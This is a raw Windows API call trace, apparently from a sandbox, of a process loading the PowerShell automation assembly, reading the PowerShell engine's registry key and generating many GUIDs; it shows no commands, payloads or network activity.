	[0084.021] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x4accbb3d, Data2=0x869, Data3=0x4847, Data4=([0]=0xb7, [1]=0x67, [2]=0xe5, [3]=0x1b, [4]=0x44, [5]=0xaf, [6]=0xe0, [7]=0xfa))) returned 0x0
	[0084.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.021] GetLastError () returned 0x0
	[0084.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.021] GetLastError () returned 0x0
	[0084.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.021] GetLastError () returned 0x0
	[0084.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.021] GetLastError () returned 0x0
	[0084.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.021] GetLastError () returned 0x0
	[0084.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.021] GetLastError () returned 0x0
	[0084.022] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x3c7b5f8a, Data2=0x9c40, Data3=0x4985, Data4=([0]=0xb0, [1]=0x70, [2]=0x59, [3]=0xe7, [4]=0xe, [5]=0x2a, [6]=0xcf, [7]=0xeb))) returned 0x0
	[0084.022] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.022] GetLastError () returned 0x0
	[0084.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.022] GetLastError () returned 0x0
	[0084.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.022] GetLastError () returned 0x0
	[0084.022] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.022] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.023] GetLastError () returned 0x0
	[0084.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.023] GetLastError () returned 0x0
	[0084.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.023] GetLastError () returned 0x0
	[0084.023] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.023] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.023] GetLastError () returned 0x0
	[0084.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.023] GetLastError () returned 0x0
	[0084.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedc38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.023] GetLastError () returned 0x0
	[0084.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xede20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.023] GetLastError () returned 0x0
	[0084.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.023] GetLastError () returned 0x0
	[0084.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeddd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.024] GetLastError () returned 0x0
	[0084.024] VirtualQuery (in: lpAddress=0xed294, lpBuffer=0xee294, dwLength=0x1c | out: lpBuffer=0xee294*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.024] VirtualQuery (in: lpAddress=0xed2d0, lpBuffer=0xee2d0, dwLength=0x1c | out: lpBuffer=0xee2d0*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.026] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x67084270, Data2=0x7d80, Data3=0x49f1, Data4=([0]=0x8e, [1]=0x55, [2]=0x75, [3]=0x75, [4]=0xaa, [5]=0xad, [6]=0x15, [7]=0xbd))) returned 0x0
	[0084.028] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x3235bd73, Data2=0x14c4, Data3=0x4cb9, Data4=([0]=0x83, [1]=0x56, [2]=0x24, [3]=0x8e, [4]=0x33, [5]=0x48, [6]=0xdc, [7]=0x91))) returned 0x0
	[0084.030] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xdb3893ba, Data2=0x5cff, Data3=0x498d, Data4=([0]=0x9e, [1]=0x5c, [2]=0x9b, [3]=0x40, [4]=0x33, [5]=0x4, [6]=0xad, [7]=0x7c))) returned 0x0
	[0084.030] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe35672c4, Data2=0x9558, Data3=0x4229, Data4=([0]=0x98, [1]=0x24, [2]=0x60, [3]=0xad, [4]=0xee, [5]=0xf4, [6]=0x47, [7]=0xb8))) returned 0x0
	[0084.030] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x98553b69, Data2=0x3e35, Data3=0x4746, Data4=([0]=0xa2, [1]=0x16, [2]=0x36, [3]=0x38, [4]=0xf0, [5]=0xc2, [6]=0x63, [7]=0x38))) returned 0x0
	[0084.030] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa0427841, Data2=0x9cdb, Data3=0x4d51, Data4=([0]=0x95, [1]=0xef, [2]=0x9e, [3]=0xa4, [4]=0x81, [5]=0x75, [6]=0x6e, [7]=0x2d))) returned 0x0
	[0084.031] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x32ca3f2e, Data2=0x402, Data3=0x49cc, Data4=([0]=0xbd, [1]=0xb7, [2]=0xd9, [3]=0x3e, [4]=0xad, [5]=0x91, [6]=0x28, [7]=0x9a))) returned 0x0
	[0084.031] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xabc2ec44, Data2=0x3295, Data3=0x40b7, Data4=([0]=0xb5, [1]=0xe0, [2]=0xd7, [3]=0x54, [4]=0xc2, [5]=0x6a, [6]=0xcc, [7]=0x79))) returned 0x0
	[0084.031] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xfa77261c, Data2=0x4bf5, Data3=0x4bef, Data4=([0]=0xab, [1]=0xa7, [2]=0xdc, [3]=0xd0, [4]=0xef, [5]=0xd3, [6]=0x2e, [7]=0xf))) returned 0x0
	[0084.031] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xf9a96129, Data2=0xfdaa, Data3=0x4a9c, Data4=([0]=0x90, [1]=0xaa, [2]=0x32, [3]=0xfc, [4]=0x80, [5]=0xc7, [6]=0xe8, [7]=0x54))) returned 0x0
	[0084.037] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
	[0084.037] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0084.038] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0084.038] RegCloseKey (hKey=0x308) returned 0x0
	[0084.040] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x17a5fee8, Data2=0xe1b8, Data3=0x45c6, Data4=([0]=0x87, [1]=0x7e, [2]=0xaf, [3]=0xf2, [4]=0x12, [5]=0xf, [6]=0x49, [7]=0x31))) returned 0x0
	[0084.040] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xb06e16ea, Data2=0xb29f, Data3=0x4ce7, Data4=([0]=0xa8, [1]=0x38, [2]=0xa, [3]=0xf1, [4]=0xd7, [5]=0x3b, [6]=0x55, [7]=0x5e))) returned 0x0
	[0084.041] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x31a3afda, Data2=0x3738, Data3=0x49bd, Data4=([0]=0x8b, [1]=0xb9, [2]=0xa1, [3]=0x30, [4]=0x69, [5]=0x1f, [6]=0x3f, [7]=0xd8))) returned 0x0
	[0084.041] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x398b944a, Data2=0x155c, Data3=0x422b, Data4=([0]=0x9c, [1]=0xc6, [2]=0x0, [3]=0xeb, [4]=0x5f, [5]=0x42, [6]=0x2, [7]=0x7c))) returned 0x0
	[0084.041] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa942429d, Data2=0x4f12, Data3=0x4a0a, Data4=([0]=0xbe, [1]=0x5, [2]=0x5e, [3]=0xcc, [4]=0xd3, [5]=0xeb, [6]=0x40, [7]=0xbf))) returned 0x0
	[0084.041] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x808fa640, Data2=0xcc2, Data3=0x4f15, Data4=([0]=0xac, [1]=0xfd, [2]=0xbf, [3]=0xf1, [4]=0x3c, [5]=0x13, [6]=0x6d, [7]=0xbe))) returned 0x0
	[0084.041] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe93e3173, Data2=0x2647, Data3=0x4a91, Data4=([0]=0x96, [1]=0xcf, [2]=0xba, [3]=0x79, [4]=0x39, [5]=0xdd, [6]=0x14, [7]=0x4))) returned 0x0
	[0084.041] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x6253dbae, Data2=0x6c80, Data3=0x403a, Data4=([0]=0xbe, [1]=0xcf, [2]=0xc4, [3]=0xa1, [4]=0xff, [5]=0x57, [6]=0xbd, [7]=0xea))) returned 0x0
	[0084.042] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa654e5de, Data2=0x9ab8, Data3=0x4cf8, Data4=([0]=0xae, [1]=0xaf, [2]=0x8c, [3]=0x4d, [4]=0x6c, [5]=0xbe, [6]=0x74, [7]=0x63))) returned 0x0
	[0084.042] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xedcf7482, Data2=0xc978, Data3=0x4fc0, Data4=([0]=0xad, [1]=0x11, [2]=0x82, [3]=0x88, [4]=0xc8, [5]=0x17, [6]=0xe1, [7]=0x53))) returned 0x0
	[0084.042] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x34e141cc, Data2=0xa7ab, Data3=0x4661, Data4=([0]=0x93, [1]=0xc6, [2]=0x8a, [3]=0xd0, [4]=0xe7, [5]=0x84, [6]=0x2d, [7]=0xf1))) returned 0x0
	[0084.042] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xdb21b9b, Data2=0xc77f, Data3=0x453d, Data4=([0]=0xbe, [1]=0xf0, [2]=0x11, [3]=0x1d, [4]=0x75, [5]=0xbf, [6]=0x27, [7]=0x19))) returned 0x0
	[0084.042] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x92cd1b1e, Data2=0x2765, Data3=0x476c, Data4=([0]=0xb2, [1]=0x53, [2]=0x6d, [3]=0xe8, [4]=0x92, [5]=0x5d, [6]=0x1a, [7]=0x2f))) returned 0x0
	[0084.042] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xde470a4d, Data2=0xadc2, Data3=0x4484, Data4=([0]=0xa2, [1]=0x4c, [2]=0x18, [3]=0xca, [4]=0x10, [5]=0x82, [6]=0x89, [7]=0xb7))) returned 0x0
	[0084.042] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe304f3c2, Data2=0xa613, Data3=0x4734, Data4=([0]=0x95, [1]=0xc3, [2]=0x7b, [3]=0xf2, [4]=0xf7, [5]=0x89, [6]=0x9c, [7]=0x42))) returned 0x0
	[0084.043] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe7d4f28c, Data2=0xd647, Data3=0x47e7, Data4=([0]=0xa8, [1]=0x6a, [2]=0x35, [3]=0x13, [4]=0x18, [5]=0x24, [6]=0x27, [7]=0xbb))) returned 0x0
	[0084.043] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x4e028b73, Data2=0xc4e7, Data3=0x49af, Data4=([0]=0xa9, [1]=0x92, [2]=0x30, [3]=0x7, [4]=0xe0, [5]=0x5, [6]=0x7d, [7]=0xcd))) returned 0x0
	[0084.043] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xc917e044, Data2=0x405a, Data3=0x40a8, Data4=([0]=0xa6, [1]=0x1b, [2]=0x6, [3]=0xb1, [4]=0xe7, [5]=0xfa, [6]=0x64, [7]=0xef))) returned 0x0
	[0084.043] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x1a1ab168, Data2=0xf1b9, Data3=0x4f78, Data4=([0]=0xb3, [1]=0x9e, [2]=0x9f, [3]=0xd6, [4]=0x9f, [5]=0xbc, [6]=0x36, [7]=0xba))) returned 0x0
	[0084.044] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x750fa622, Data2=0x80e, Data3=0x4ee7, Data4=([0]=0x8b, [1]=0x4c, [2]=0xd1, [3]=0x89, [4]=0x84, [5]=0x88, [6]=0x7d, [7]=0xce))) returned 0x0
	[0084.044] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xb39902d8, Data2=0x3729, Data3=0x4db4, Data4=([0]=0x97, [1]=0xa3, [2]=0xdd, [3]=0xfc, [4]=0xdc, [5]=0x5c, [6]=0x9d, [7]=0xb))) returned 0x0
	[0084.044] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xfd22dec1, Data2=0x2fa8, Data3=0x40cd, Data4=([0]=0x8e, [1]=0x2c, [2]=0xcb, [3]=0x17, [4]=0x4e, [5]=0x4, [6]=0xcc, [7]=0x23))) returned 0x0
	[0084.044] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xc11edb49, Data2=0xcc44, Data3=0x497c, Data4=([0]=0xb7, [1]=0x0, [2]=0x45, [3]=0xaf, [4]=0x3a, [5]=0x39, [6]=0x36, [7]=0x42))) returned 0x0
	[0084.044] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x49e766e2, Data2=0x6f33, Data3=0x44c9, Data4=([0]=0xbf, [1]=0xc6, [2]=0xbf, [3]=0x5a, [4]=0xe4, [5]=0xe2, [6]=0x83, [7]=0xfb))) returned 0x0
	[0084.044] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xbee706fc, Data2=0xf38, Data3=0x4665, Data4=([0]=0xbd, [1]=0x9e, [2]=0x57, [3]=0x18, [4]=0x64, [5]=0x19, [6]=0x4f, [7]=0xea))) returned 0x0
	[0084.045] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xd663eaeb, Data2=0x6e4a, Data3=0x4648, Data4=([0]=0x8e, [1]=0x28, [2]=0xb5, [3]=0xb4, [4]=0xb2, [5]=0xe, [6]=0xa6, [7]=0x5c))) returned 0x0
	[0084.045] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x1f0b1401, Data2=0xa768, Data3=0x49d5, Data4=([0]=0x9d, [1]=0xde, [2]=0x1, [3]=0x35, [4]=0xa, [5]=0x8c, [6]=0x9, [7]=0x89))) returned 0x0
	[0084.045] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xef42902e, Data2=0x1281, Data3=0x4921, Data4=([0]=0x93, [1]=0x59, [2]=0xc5, [3]=0x8f, [4]=0x3c, [5]=0x6, [6]=0xef, [7]=0x66))) returned 0x0
	[0084.045] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x2f7cb1b9, Data2=0x8ef5, Data3=0x4682, Data4=([0]=0xa5, [1]=0x3d, [2]=0x1b, [3]=0x7c, [4]=0x74, [5]=0x22, [6]=0xc3, [7]=0x88))) returned 0x0
	[0084.045] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xd9dbc6af, Data2=0x86df, Data3=0x4db5, Data4=([0]=0x82, [1]=0x77, [2]=0xbd, [3]=0x7a, [4]=0xd7, [5]=0x11, [6]=0x93, [7]=0x3))) returned 0x0
	[0084.045] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x4b6d8776, Data2=0xc79b, Data3=0x4a51, Data4=([0]=0x87, [1]=0xa3, [2]=0x1f, [3]=0xca, [4]=0x76, [5]=0xbb, [6]=0xf5, [7]=0x1e))) returned 0x0
	[0084.046] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xade396e5, Data2=0x7df9, Data3=0x4e4c, Data4=([0]=0x86, [1]=0x9c, [2]=0x66, [3]=0x63, [4]=0x49, [5]=0x22, [6]=0x65, [7]=0xb8))) returned 0x0
	[0084.046] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x41415cc1, Data2=0x8298, Data3=0x4912, Data4=([0]=0x84, [1]=0x34, [2]=0x59, [3]=0xf5, [4]=0x54, [5]=0x7a, [6]=0xf9, [7]=0xce))) returned 0x0
	[0084.048] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x8a466907, Data2=0xe909, Data3=0x43af, Data4=([0]=0x92, [1]=0xad, [2]=0x5c, [3]=0x32, [4]=0x74, [5]=0x5, [6]=0xe1, [7]=0x3c))) returned 0x0
	[0084.049] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xfad42d21, Data2=0xec26, Data3=0x41a8, Data4=([0]=0x8f, [1]=0xd5, [2]=0x64, [3]=0xfa, [4]=0x19, [5]=0x4b, [6]=0x29, [7]=0xca))) returned 0x0
	[0084.049] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x3799cb43, Data2=0x4b0b, Data3=0x48cd, Data4=([0]=0x90, [1]=0x1b, [2]=0x70, [3]=0xa4, [4]=0x61, [5]=0x99, [6]=0x8d, [7]=0x21))) returned 0x0
	[0084.049] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x4b4a1003, Data2=0xc0af, Data3=0x4ab1, Data4=([0]=0x88, [1]=0x5c, [2]=0xfa, [3]=0xcb, [4]=0x5f, [5]=0x6b, [6]=0xc1, [7]=0xdd))) returned 0x0
	[0084.049] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x184bab0e, Data2=0xd674, Data3=0x4cc8, Data4=([0]=0xb1, [1]=0x76, [2]=0x50, [3]=0xc7, [4]=0xf5, [5]=0xef, [6]=0x36, [7]=0x21))) returned 0x0
	[0084.049] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x44325172, Data2=0x3201, Data3=0x4c3d, Data4=([0]=0x85, [1]=0xc4, [2]=0xf, [3]=0x87, [4]=0x1c, [5]=0x9, [6]=0x9f, [7]=0x69))) returned 0x0
	[0084.049] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x85176384, Data2=0x516c, Data3=0x4099, Data4=([0]=0x99, [1]=0xf1, [2]=0x1c, [3]=0xd3, [4]=0x5e, [5]=0xee, [6]=0x36, [7]=0x29))) returned 0x0
	[0084.049] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x37313ce8, Data2=0x7f57, Data3=0x4219, Data4=([0]=0xac, [1]=0x4b, [2]=0x47, [3]=0xd8, [4]=0xa6, [5]=0x36, [6]=0x4c, [7]=0x98))) returned 0x0
	[0084.050] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xbc57d943, Data2=0x9c4a, Data3=0x430c, Data4=([0]=0x8c, [1]=0x3f, [2]=0xd3, [3]=0x1c, [4]=0xeb, [5]=0xf5, [6]=0x9, [7]=0x3a))) returned 0x0
	[0084.050] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x7c26014b, Data2=0x3f8a, Data3=0x4430, Data4=([0]=0xa8, [1]=0xc5, [2]=0x83, [3]=0xf6, [4]=0x3a, [5]=0xb5, [6]=0xd0, [7]=0x66))) returned 0x0
	[0084.050] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x4f78fd09, Data2=0x46ba, Data3=0x48e1, Data4=([0]=0xae, [1]=0x40, [2]=0x92, [3]=0x20, [4]=0x46, [5]=0xc6, [6]=0x90, [7]=0xdd))) returned 0x0
	[0084.050] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x769d604d, Data2=0x50ca, Data3=0x4969, Data4=([0]=0xa2, [1]=0x60, [2]=0xf0, [3]=0xd5, [4]=0xca, [5]=0x5c, [6]=0x16, [7]=0x8))) returned 0x0
	[0084.051] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x1ae31084, Data2=0x1025, Data3=0x4901, Data4=([0]=0xbb, [1]=0xd6, [2]=0x26, [3]=0x2d, [4]=0x71, [5]=0xa6, [6]=0xf, [7]=0x79))) returned 0x0
